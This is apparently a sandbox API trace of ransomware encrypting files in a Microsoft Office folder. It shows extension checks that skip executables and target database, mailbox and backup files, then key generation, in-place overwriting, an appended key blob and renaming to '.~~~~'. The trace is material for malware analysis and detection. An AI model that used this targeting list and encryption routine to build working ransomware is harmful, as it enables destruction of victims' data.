	[0080.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb9f8
	[0080.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b71e0 | out: hHeap=0x300000) returned 1
	[0080.336] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.336] GetLastError () returned 0x0
	[0080.336] GetLastError () returned 0x0
	[0080.336] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.336] GetLastError () returned 0x0
	[0080.336] GetLastError () returned 0x0
	[0080.336] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.340] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.340] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.342] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.342] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.344] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.344] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.344] CloseHandle (hObject=0x124) returned 1
	[0080.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b71e0
	[0080.344] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.~~~~")) returned 1
	[0080.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b71e0 | out: hHeap=0x300000) returned 1
	[0080.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.345] GetLastError () returned 0x0
	[0080.345] RtlWakeConditionVariable () returned 0x365f70
	[0080.345] GetCurrentThreadId () returned 0x3a4
	[0080.345] GetCurrentThreadId () returned 0x3a4
	[0080.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb9f8
	[0080.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbd88 | out: hHeap=0x300000) returned 1
	[0080.346] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc10 | out: hHeap=0x300000) returned 1
	[0080.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbd88
	[0080.346] lstrlenW (lpString=".scr") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".scr") returned 0x0
	[0080.346] lstrlenW (lpString=".cmd") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".cmd") returned 0x0
	[0080.346] lstrlenW (lpString=".dll") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dll") returned 0x0
	[0080.346] lstrlenW (lpString=".bat") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".bat") returned 0x0
	[0080.346] lstrlenW (lpString=".cpl") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".cpl") returned 0x0
	[0080.346] lstrlenW (lpString=".sys") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".sys") returned 0x0
	[0080.346] lstrlenW (lpString=".msc") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".msc") returned 0x0
	[0080.346] lstrlenW (lpString=".com") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".com") returned 0x0
	[0080.346] lstrlenW (lpString=".lnk") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".lnk") returned 0x0
	[0080.346] lstrlenW (lpString=".msp") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".msp") returned 0x0
	[0080.346] lstrlenW (lpString=".pif") returned 4
	[0080.346] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".pif") returned 0x0
	[0080.346] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.347] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch="msp\r\n.pif") returned 0x0
	[0080.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.348] lstrlenW (lpString=".sqb") returned 4
	[0080.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".sqb") returned 0x0
	[0080.348] lstrlenW (lpString=".ost") returned 4
	[0080.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".ost") returned 0x0
	[0080.348] lstrlenW (lpString=".txt") returned 4
	[0080.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".txt") returned 0x0
	[0080.348] lstrlenW (lpString=".mdt") returned 4
	[0080.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".mdt") returned 0x0
	[0080.348] lstrlenW (lpString=".BDB") returned 4
	[0080.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".BDB") returned 0x0
	[0080.348] lstrlenW (lpString=".eql") returned 4
	[0080.348] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".eql") returned 0x0
	[0080.349] lstrlenW (lpString=".DBF") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DBF") returned 0x0
	[0080.349] lstrlenW (lpString=".EQL") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".EQL") returned 0x0
	[0080.349] lstrlenW (lpString=".FDB") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".FDB") returned 0x0
	[0080.349] lstrlenW (lpString=".EDB") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".EDB") returned 0x0
	[0080.349] lstrlenW (lpString=".DACPAC") returned 7
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DACPAC") returned 0x0
	[0080.349] lstrlenW (lpString=".VHD") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".VHD") returned 0x0
	[0080.349] lstrlenW (lpString=".DBV") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DBV") returned 0x0
	[0080.349] lstrlenW (lpString=".dacpac") returned 7
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dacpac") returned 0x0
	[0080.349] lstrlenW (lpString=".sdf") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".sdf") returned 0x0
	[0080.349] lstrlenW (lpString=".accdb") returned 6
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".accdb") returned 0x0
	[0080.349] lstrlenW (lpString=".DBX") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DBX") returned 0x0
	[0080.349] lstrlenW (lpString=".MDT") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".MDT") returned 0x0
	[0080.349] lstrlenW (lpString=".SQB") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".SQB") returned 0x0
	[0080.349] lstrlenW (lpString=".vhd") returned 4
	[0080.349] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".vhd") returned 0x0
	[0080.350] lstrlenW (lpString=".bac") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".bac") returned 0x0
	[0080.350] lstrlenW (lpString=".mdf") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".mdf") returned 0x0
	[0080.350] lstrlenW (lpString=".BAK") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".BAK") returned 0x0
	[0080.350] lstrlenW (lpString=".BAC") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".BAC") returned 0x0
	[0080.350] lstrlenW (lpString=".dbs") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dbs") returned 0x0
	[0080.350] lstrlenW (lpString=".vhdx") returned 5
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".vhdx") returned 0x0
	[0080.350] lstrlenW (lpString=".NDF") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".NDF") returned 0x0
	[0080.350] lstrlenW (lpString=".dat") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dat") returned 0x0
	[0080.350] lstrlenW (lpString=".DBS") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DBS") returned 0x0
	[0080.350] lstrlenW (lpString=".CKP") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".CKP") returned 0x0
	[0080.350] lstrlenW (lpString=".edb") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".edb") returned 0x0
	[0080.350] lstrlenW (lpString=".PST") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".PST") returned 0x0
	[0080.350] lstrlenW (lpString=".dbf") returned 4
	[0080.350] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dbf") returned 0x0
	[0080.351] lstrlenW (lpString=".SQL") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".SQL") returned 0x0
	[0080.351] lstrlenW (lpString=".pst") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".pst") returned 0x0
	[0080.351] lstrlenW (lpString=".dbv") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dbv") returned 0x0
	[0080.351] lstrlenW (lpString=".SDF") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".SDF") returned 0x0
	[0080.351] lstrlenW (lpString=".dtxs") returned 5
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dtxs") returned 0x0
	[0080.351] lstrlenW (lpString=".db3") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".db3") returned 0x0
	[0080.351] lstrlenW (lpString=".OST") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".OST") returned 0x0
	[0080.351] lstrlenW (lpString=".dbx") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dbx") returned 0x0
	[0080.351] lstrlenW (lpString=".DB3") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DB3") returned 0x0
	[0080.351] lstrlenW (lpString=".DAT") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DAT") returned 0x0
	[0080.351] lstrlenW (lpString=".VHDX") returned 5
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".VHDX") returned 0x0
	[0080.351] lstrlenW (lpString=".ndf") returned 4
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".ndf") returned 0x0
	[0080.351] lstrlenW (lpString=".DB") returned 3
	[0080.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DB") returned 0x0
	[0080.352] lstrlenW (lpString=".sql") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".sql") returned 0x0
	[0080.352] lstrlenW (lpString=".MYD") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".MYD") returned 0x0
	[0080.352] lstrlenW (lpString=".DBT") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DBT") returned 0x0
	[0080.352] lstrlenW (lpString=".ACCDB") returned 6
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".ACCDB") returned 0x0
	[0080.352] lstrlenW (lpString=".fdb") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".fdb") returned 0x0
	[0080.352] lstrlenW (lpString=".bak") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".bak") returned 0x0
	[0080.352] lstrlenW (lpString=".myd") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".myd") returned 0x0
	[0080.352] lstrlenW (lpString=".DTXS") returned 5
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".DTXS") returned 0x0
	[0080.352] lstrlenW (lpString=".ckp") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".ckp") returned 0x0
	[0080.352] lstrlenW (lpString=".dbt") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".dbt") returned 0x0
	[0080.352] lstrlenW (lpString=".db") returned 3
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".db") returned 0x0
	[0080.352] lstrlenW (lpString=".TXT") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".TXT") returned 0x0
	[0080.352] lstrlenW (lpString=".MDF") returned 4
	[0080.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".MDF") returned 0x0
	[0080.352] lstrlenW (lpString=".bdb") returned 4
	[0080.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".bdb") returned 0x0
	[0080.353] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.353] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0080.354] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.354] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3cc6f0
	[0080.354] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20034422851) returned 1
	[0080.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x99bf6790, dwHighDateTime=0x1d60e1e)) 
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc10
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc10 | out: hHeap=0x300000) returned 1
	[0080.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0080.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbbc0
	[0080.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.355] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0080.355] GetLastError () returned 0x0
	[0080.355] GetLastError () returned 0x0
	[0080.355] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0080.355] GetLastError () returned 0x0
	[0080.356] GetLastError () returned 0x0
	[0080.356] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x1a5b, lpOverlapped=0x0) returned 1
	[0080.454] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffe5a5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.489] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1a5b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x1a5b, lpOverlapped=0x0) returned 1
	[0080.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.489] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.489] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.489] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.490] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.490] CloseHandle (hObject=0x124) returned 1
	[0080.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.490] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.~~~~")) returned 1
	[0080.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.491] GetLastError () returned 0x0
	[0080.491] RtlWakeConditionVariable () returned 0x365f70
	[0080.491] GetCurrentThreadId () returned 0x3a4
	[0080.492] GetCurrentThreadId () returned 0x3a4
	[0080.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fefe8
	[0080.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa460 | out: hHeap=0x300000) returned 1
	[0080.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e2d0 | out: hHeap=0x300000) returned 1
	[0080.492] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x28012a0
	[0080.492] lstrlenW (lpString=".scr") returned 4
	[0080.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.492] lstrlenW (lpString=".cmd") returned 4
